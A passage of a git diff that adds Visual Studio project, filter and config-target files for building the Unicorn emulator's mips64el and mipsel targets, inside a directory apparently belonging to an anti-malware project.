<PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips64el.h</ForcedIncludeFiles> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips64el.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips64el.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips64el.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/mips64el-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/mips64el-softmmu.vcxproj.filters new file mode 100644 index 0000000..88aa508 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/mips64el-softmmu.vcxproj.filters @@ -0,0 +1,128 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{2b2b58ad-804f-435b-b55d-1c21e050cf31}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{a6046583-2534-498c-9bd2-08dd8c222c18}</UniqueIdentifier> + </Filter> + <Filter Include="hw\mips"> + <UniqueIdentifier>{2253570a-0bc0-4366-9eab-095257ab37b2}</UniqueIdentifier> + </Filter> + <Filter Include="target-mips"> + <UniqueIdentifier>{de33cbbc-f374-4451-a083-23c5a98c843e}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{b4ef3640-fe65-476d-9b4f-3c6d82a5dbfd}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{95533292-741a-46c5-a003-cbb60c8654ce}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\cpu.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\cpu-qom.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\helper.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\mips-defs.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\unicorn.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\mips64el.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\mips_r4k.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\addr.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\cputimer.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\cpu.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\dsp_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\lmi_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\msa_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\op_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\translate.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\translate_init.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\unicorn.c"> + <Filter>target-mips</Filter> + </ClCompile> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/config-target.h new file mode 100644 index 0000000..68b5238 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/config-target.h @@ -0,0 +1,6 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_ABI_MIPSO32 1 +#define TARGET_MIPS 1 +#define TARGET_NAME "mipsel" +#define TARGET_MIPS 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/mipsel-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/mipsel-softmmu.vcxproj new file mode 100644 index 0000000..b522af3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/mipsel-softmmu.vcxproj @@ -0,0 +1,237 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\mips-defs.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\mipsel.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\addr.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\cputimer.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\mips_r4k.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\dsp_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\lmi_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\msa_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\op_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\translate_init.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\unicorn.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{006A7908-ABF3-4D18-BC35-0A29E39B95F9}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>mipselsoftmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mipsel.h</ForcedIncludeFiles> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mipsel.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mipsel.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mipsel.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/mipsel-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/mipsel-softmmu.vcxproj.filters new file mode 100644 index 0000000..3ec346f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/mipsel-softmmu.vcxproj.filters @@ -0,0 +1,128 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{00b0caab-f50f-47a1-99ea-a452f1e712e3}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{f666e049-ed32-4817-9998-b6898ce2b71a}</UniqueIdentifier> + </Filter> + <Filter Include="hw\mips"> + <UniqueIdentifier>{b2a1fb8b-789a-45a6-a814-9312ad75bd70}</UniqueIdentifier> + </Filter> + <Filter Include="target-mips"> + <UniqueIdentifier>{e6bea1c8-7307-44c8-9956-25321f73287f}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{cce3d221-0ae7-4cea-a9bd-5fe10a932c20}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{9b5981d1-89fd-4210-ac4d-7b3dab34871b}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\cpu.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\cpu-qom.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\helper.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\mips-defs.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\unicorn.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\mipsel.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\mips_r4k.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\addr.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\cputimer.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile 